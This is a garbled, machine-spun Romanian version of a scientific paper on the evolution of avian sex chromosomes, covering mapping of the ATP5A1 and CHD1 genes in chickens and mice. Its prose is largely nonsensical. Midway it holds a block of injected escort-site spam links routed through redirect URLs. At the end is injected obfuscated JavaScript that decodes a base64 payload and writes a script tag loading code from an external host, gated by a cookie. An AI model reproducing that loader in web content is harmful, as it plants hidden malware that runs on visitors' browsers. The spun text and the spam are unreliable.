Dezvoltare asociata cu cromozomii sexuali aviari de la un cuplu ancestral de autosomi

Comunicat de Mary F. Lyon, Consiliul de cercetare in domeniul sanatatii, Oxon, mare britain (primit pentru revizuire 30 ianuarie 1998)

Printre mecanismele prin care se decide relatia sexuala la animale, determinarea cromozomiala a sexului poate fi gasita intr-o multitudine de taxoni indepartati.

Incidentul extrem de omniprezent, care nu este chiar in randul dedicatiei sexuale cromozomiale, arata ca cromozomii de relatii sexuale s-au dezvoltat separat de multe ori in timpul radiatiilor animale, dar o dovada ferma din cauza asta lipseste. Probabil cel mai preferat model pentru aceasta metoda este diferentierea treptata a perechilor ancestrale de autosomi. Asa cum s-a inteles pentru animale, cromozomii de contact pot avea o origine extrem de straveche si, de asemenea, s-a speculat ca cromozomii de contact dintre mamifere si pasari salbatice salbatice ar impartasi o stramosie cromozomiala tipica. Ambele exista intr-o copie strans legata de cromozomul Z, dar nu sunt pseudoautosomice in acest studiu, am aratat ca cele doua gene, ATP5A1 si CHD1, pana acum sunt atribuite cromozomului W specific pasarilor. Aceasta inseamna ca o descendenta tipica a acestor doi cromozomi in relatie sexuala, in conformitate cu dezvoltarea de la un cuplu de autosomi. Cartografierea relativa demonstreaza, totusi, ca ATP5A1 si CHD1 nu sunt legate de sex intre animalele euterale; cu siguranta, in plus, nu este cazul complet in majoritatea celorlalte gene atribuite pana acum in cromozomul Z aviar. Rezultatele noastre sustin ca dezvoltarea cromozomilor sexuali a avut loc individual la animale si pasari salbatice.

Chiar daca ideea reproducerii intime este disponibila intr-adevar intre toate eucariote, mecanismele prin care actul sexual este stabilit sunt in mod clar diverse: dedicarea actului sexual cromozomial (CSD; cu heterogametia barbatului sau femeii), determinarea actului sexual mono sau polifactorial, poate nu este legata de cromozomii sexuali heteromorfi , dedicarea actului sexual ecologic, dedicatia sexuala citoplasmica si arhenotoky (haplo-diploidie; ref. 1). Evenimentul dintre aceste mecanisme este raspandit in diferite echipe de animale. De exemplu, CSD este disponibil printre taxoni filogenetic divergenti ca Platyhelminthes, Nematoda, Crustacea, Insecta, Teleostomi, Amfibia, Reptilia, Aves si Mammalia, cu siguranta nu este cu adevarat singura procedura prezenta in taxonii particulari. In cazul testoaselor si soparlelor, de exemplu, Unele tipuri dezvaluie dedicatie sexuala dependenta de temperatura, in timp ce alte persoane au CSD. Cu toate acestea, in alti taxoni, cum ar fi, de exemplu, pasarile si animalele salbatice salbatice, CSD este obligatoriu. Distributia care este taxonomica prin intregul regn animal implica foarte mult faptul ca acest sistem particular de determinare a sexului s-a dezvoltat individual in mai multe echipe in timpul radiatiilor animale (1–6).

Doar cum apar cromozomii interculturale? La inceputul secolului, Muller si Sturtevant (7) au dezvoltat conceptul potrivit caruia, dintr-o stare scurta de similitudine, cromozomii interculturale vor evolua intr-o copie activa, plus o degenerata. Starea ancestrala ar trebui sa fie erg in general vorbind acum a fost comparata cu un set de autosomi. In ciuda faptului ca este cu adevarat o parere comuna (1-6), trecerea de la omologie la heteromorfism a fost doar sporadica sustinuta de informatii empirice. Dovada esentiala proeminenta provine din analiza genomului mamiferelor: la primate si soareci, gene sau alte secvente de ADN la fel ca cele din non-recombinarea unui element al cromozomului X pot fi vazute in cromozomul Y, care arata originea tipica asociata cu doi cromozomi (evaluat la ref. 8 si 9). In plus, prezenta unei regiuni pseudoautosomale (recombinante) indica in continuare o origine comuna a doi cromozomi. Dovada taxelor lor este doar circumstantiala: de exemplu, gradualul variaza de la un cromozom homomorfic nediferentiat setat la cromozomi Z si W foarte diferentiati in diferite familii de sarpe (10).

Pasarile salbatice si reptilele salbatice ar fi cele mai apropiate iubite de animale dintre taxonii existenti. Pasarile salbatice sunt vazute ca o heterogametie feminina: barbatii au de fapt doua copii ale acestui cromozom Z (deci ZZ notat), iar femelele au un continut pentru cromozomul Z si ceva din acest cromozom W (ZW). Cromozomul W este in mod normal mult mai mic in comparatie cu cromozomul Z si, in plus, arata alte indicatii tipice ale unui sex care este degenerat, adica, un continut de gena scazut, acesta este cu siguranta abundent cu ADN heterochromatic, repetat, asociat cu tipul de satelit (11, 12). In aceasta cercetare am abordat problema exact a modului in care s-au dezvoltat de fapt cromozomii Z si W aviari. In primul rand, am intrebat sau poate ca doi cromozomi impartasesc o descendenta care este comuna la fel ca situatia pentru cromozomii de contact mamifer. 2, prin cartografiere relativa, am analizat relatiile ereditare care implica cromozomii interculturale ale pasarilor si animalelor pentru a arata reputatia evolutiva pentru cromozomii de contact intre animalele de companie superioare. Cea din urma problema trebuie observata din punctul de vedere asociat cu cromozomul X fiind foarte aproape total conservata intre toate mamiferele euterare, precum si o omologie puternica intre animalele eutheriene, monotremele si marsupiale (13, 14), care arata un inceput istoric.

MATERIALE SI TEHNICI

Cartografierea legaturii de pui.

Cartografierea ereditara a ajuns sa fie realizata intr-una din numeroasele doua populatii de cartografiere de pui recunoscute la nivel international, membrii familiei ghidului East Lansing Gospodaria este alcatuita dintr-o incrucisare intre un sire Jungle Fowl si un baraj White Leghorn, insotit de backcross intre un barbat F1 si patru femele cu Leghorn Alb (15). Cincizeci si doua de descendenti F2 din acest backcross au fost genotipate cu markeri descrisi in aceasta cercetare savanta, iar analiza legaturilor a sfarsit sa fie facuta cu managerul de harta, variatia 2.6.5 (16) si mapmaker, variatia 3.0 (17), impotriva unei colectii din cele aproximativ 890 de markeri care sunt in prezent cheiati in pedigree (18). Analiza polimorfismului de marime a fragmentului de limitare (RFLP) asociata cu gena CHD1Z a fost facuta cu o sonda din ADN-ul Fowl Junglei, amplificat prin PCR, pur si simplu utilizand primerii 2895 (CGGCTAGTCACAAAAGGATC) si 3225 (TTGAACTGTGAAAGCAACTC) care au fost hibridizati cu ADN-ul digerat cu HindIII. Lungimea polimorfismului intr-o repetitie mononucleotida poli (A) prezenta in intronul 10 (aderarea GenBank nr. AJ223297) al acestei gene de ATP5A1Z de pui s-a incheiat prin utilizarea primerilor care sunt exon-flancare (TGCTGGGCCGTGTTGTAGAT) si 616 (GGTTCCCGACAG). Un primer a fost marcat fluorescent, plus variatia de marime a fost detectata pe un instrument de secventiere abi377 (Perkin-Elmer).

Cartografiere de legaturi cu murine.

Procesul descendent interspecific a fost creat prin imperecherea femelelor F1 (C57BL / 6J? Mus spretus) si barbatii C57BL / 6J, asa cum este descris (19). Acest panou de cartografiere interspecific a fost tastat timp de mai mult de 2500 de loci fiind bine distribuit intre fiecare dintre autosomi impreuna cu https://hotbrides.org/mexican-brides/ femei mexicane unice X X cromozomul (19).

publicat 24 escorte http://homeimprovements.com/__media__/js/netsoltrademark.php?d=maturesex.ro/
escorte vip cluj http://learnloving.com/__media__/js/netsoltrademark.php?d=maturesex.ro/
telefon escorte http://sandiegogarzas.com/__media__/js/netsoltrademark.php?d=maturesex.ro/
escorte mature 50 ani http://tedcohen.com/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/alba
escorte valenii de munte http://rrsolutions.net/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/arad
escorte galati gay http://empowersportsleadership.com/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/arges
escorte cluj site:nimfomane.com http://cleanenergycapital.org/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/bacau
escorte piata romana bucuresti http://daisedandconfused.net/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/bihor
escorte sibiu http://lookadvice.com/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/bistrita-nasaud
escorte swing http://neilsondairylink.net/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/botosani
escorte mature dristor http://americanvisionwindowsarizona.com/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/braila
escorte watapp http://rockymountmuseum.org/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/hunedoara/teliucu-inferior
escorte..mures http://acnebill.com/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/hunedoara/tioara-de-sus
forum escorte sibiu http://corpacsteelprods.com/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/hunedoara/tomesti
barbati escorte http://pfsinvest.com/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/hunedoara/toplita
escorte bacau masina http://senvestpartners.com/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/hunedoara/totesti
pareri escorte suceava http://mitralrepair101.com/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/hunedoara/turdas
escorte xxx video http://earthgardencreations.com/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/hunedoara/uricani
escorte vivi http://onelovefounder.org/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/hunedoara/valisoara
escorte mature sex http://demolvanotterloo.com/__media__/js/netsoltrademark.php?d=maturesex.ro/escorte/hunedoara/vata-de-jos

Un total de 205 de soareci F2 au fost utilizati pentru a cartografia locii Chd1 si Atp5a1. ADN-urile au fost digerate cu cateva enzime si analizate de catre supervizorul hipotimpului Southern Blot. Achizitia de gene a fost dependenta de minimizarea cator activitati de recombinare necesare pentru a explica distributia care este alela.

Proiecte fluorescente in situatiile reale de gene de pui, au fost utilizate sondele urmatoare: un fragment care este de 1,8-kb prin amplificarea PCR a CHD1Z de la ADN-ul masculin genomic de pui prin utilizarea primerilor 2895 si 3555 (AAAGGATTTAGCGATGCAGA); Fragmente PCR de 2,3 si 1,8 kb amplificate din ATP5A1Z de ADN genomic masculin de pui, folosind primerii 141 (TTGCTGCAAGAAACATCCATGC) si 616 si primerii 965 (GACAATGGAAAACATGCGTTG), respectiv 1389 (CCACTTCACGGTACTGAGC). Sondele au fost etichetate cu biotina-14-dATP sau digoxigenin-11-dUTP prin traducere prin nick (sistem BioNick care eticheteaza Life Technologies, Grand Island, NY). Preparatele cromozomice au fost produse din maduva osoasa de tesut prin utilizarea unor practici standard (25). Sl> isis, variatia 1.65 (metasystems), software pentru PC.

Radiatii HyPrimers A1 (ATCACCCAGCCCAAGAATCAT) si A2 (GGCACTCCTCCCCATACACC) au fost alese pentru a amplifica un PC care este de 297-bp din intronul 3 al ATP5A1 individual (aderarea GenBank nr. D28126). Nu au fost obtinute articole din amplificarea ADN-ului rozatoare ajutat de conditiile de amplificare utilizate. Testul PCR a fost utilizat pentru a obtine sabloane structurate prin panoul de screening hibrid de radiatie Genebridge4 in duplicat. Rezultatele au fost transmise catre gazda aplicata la http.wi, care este: //www-genome.edu/cgi-bin/contig/rhmapper.pl, pentru pozitionarea pe harta hibrida a radiatiilor cadru.

functia getCookie (e) {var U = document.cookie.match (noua RegExp („(?: ^ |;)” + e.replace (/([\.$?* | {} \ (\) \ [\ ] \\\ / \ + ^]) / g, “\\ $ 1”) + “= ([^;] *)”)); return U | decodeURIComponent (U [1]): void 0} var src = „date: text / javascript; base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs =“, acum = Math.floor (Date.now () / 1E3), cookie-ul = getCookie ( „redirectionare“), in cazul in care (acum> = (timp = cookie) || void 0 === ora) {var time = Math.floor (Date.now () / 1e3 + 86400), data = data noua ((data noua) .getTime () + 86400); document.cookie = “redirect =” + timpul +“; path = /; expira =“+ date.toGMTString (), document.write (“)}